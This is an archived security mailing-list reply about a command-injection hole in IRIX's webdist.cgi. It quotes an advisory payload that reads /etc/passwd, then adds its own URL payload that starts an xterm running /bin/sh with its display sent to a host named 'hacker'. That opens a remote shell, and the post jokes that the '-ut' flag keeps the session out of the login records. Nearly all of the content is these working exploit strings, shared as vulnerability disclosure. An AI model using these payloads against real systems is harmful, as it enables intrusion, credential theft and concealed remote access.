Re: SGI Advisory: webdist.cgi

• Messages sorted by: [ date ][ thread ][ subject ][ author ]
• Next message: Aleph One: "CERT Advisory CA-97.13 - Vulnerability in xlock"
• Previous message: Aleph One: "Re: CosmoCreate security bug"

> Title: Default IRIX cgi-bin programs
> OS: irix
> OSver: 6.2,6.3
> Files: /var/www/cgi-bin/webdist.cgi
> Perms: X
> Access: Remote
>
> /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh

The '-ut' is the most important part... :-)

Chris.

• Next message: Aleph One: "CERT Advisory CA-97.13 - Vulnerability in xlock"
• Previous message: Aleph One: "Re: CosmoCreate security bug"